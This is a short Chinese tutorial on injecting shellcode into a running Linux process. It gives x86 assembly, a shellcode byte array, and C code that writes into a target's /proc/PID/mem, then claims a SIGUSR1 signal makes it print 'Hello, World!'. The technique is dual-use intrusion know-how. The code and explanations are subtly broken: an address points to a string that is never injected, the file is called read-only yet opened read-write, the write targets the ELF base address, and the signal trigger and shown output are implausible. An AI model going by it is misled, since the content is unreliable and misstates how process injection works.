shellcode注入例子

假设我们要注入一个简单的shellcode，用于打印"Hello, World!"到终端上。

首先，我们需要编写这个shellcode。这里使用的是x86汇编语言。代码如下：

section .text
global _start

_start:
    ; 打印"Hello, World!"
    mov eax, 4
    mov ebx, 1
    mov ecx, message
    mov edx, 13
    int 0x80

    ; 退出程序
    mov eax, 1
    xor ebx, ebx
    int 0x80

section .data
message db "Hello, World!", 0xa

这个shellcode的功能很简单，就是调用系统调用打印出"Hello, World!"，然后退出程序。

接下来，我们需要将这个shellcode注入到某个进程中。这里我们选择注入到一个叫做"target"的进程中。

首先，我们需要获取这个进程的PID。可以使用ps命令来查看正在运行的进程，找到目标进程的PID。

$ ps aux | grep target
user    1234  0.0  0.1  12345  6789 pts/0    S+   12:34   0:00 ./target

这里假设目标进程的PID为1234。

接下来，我们需要在当前进程中申请一块可执行内存，用于存放我们的shellcode。可以使用mmap系统调用来完成这个操作。

#include <sys/mman.h>
#include <string.h>

int main() {
    // 分配一块可执行内存
    void *mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    // 将shellcode写入内存
    unsigned char shellcode[] = { 0xb8, 0x04, 0x00, 0x00, 0x00, 0xbb, 0x01, 0x00, 0x00, 0x00, 0xb9, 0x0d, 0x00, 0x60, 0x00, 0xcd, 0x80, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x31, 0xdb, 0xcd, 0x80 };
    memcpy(mem, shellcode, sizeof(shellcode));

    // 获取目标进程的PID
    pid_t pid = 1234; // 假设目标进程的PID为1234

    // 获取目标进程的内存空间
    char filename[256];
    snprintf(filename, sizeof(filename), "/proc/%d/mem", pid);
    int fd = open(filename, O_RDWR);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    // 将shellcode写入目标进程的内存空间
    off_t offset = 0x08048000; // 假设目标进程的基地址为0x08048000
    if (lseek(fd, offset, SEEK_SET) == -1) {
        perror("lseek");
        return 1;
    }
    if (write(fd, mem, sizeof(shellcode)) == -1) {
        perror("write");
        return 1;
    }

    // 关闭文件描述符，释放内存
    close(fd);
    munmap(mem, 0x1000);

    return 0;
}

这段代码先使用mmap系统调用在当前进程中分配了一块可执行内存，然后将我们编写的shellcode写入到这个内存空间中。

接下来，我们需要获取目标进程的内存空间，并将我们的shellcode写入到这个空间中。可以通过打开/proc/PID/mem文件来访问目标进程的内存空间。由于这个文件是只读的，所以需要使用O_RDWR标志打开。然后可以使用lseek和write系统调用将我们的shellcode写入到指定的内存地址中。

最后，记得关闭文件描述符和释放内存空间。

完成以上步骤后，我们就成功地将我们的shellcode注入到了目标进程中。可以使用kill命令向目标进程发送SIGUSR1信号来触发shellcode的执行，然后在终端上就可以看到"Hello, World!"了。

$ kill -SIGUSR1 1234
Hello, World!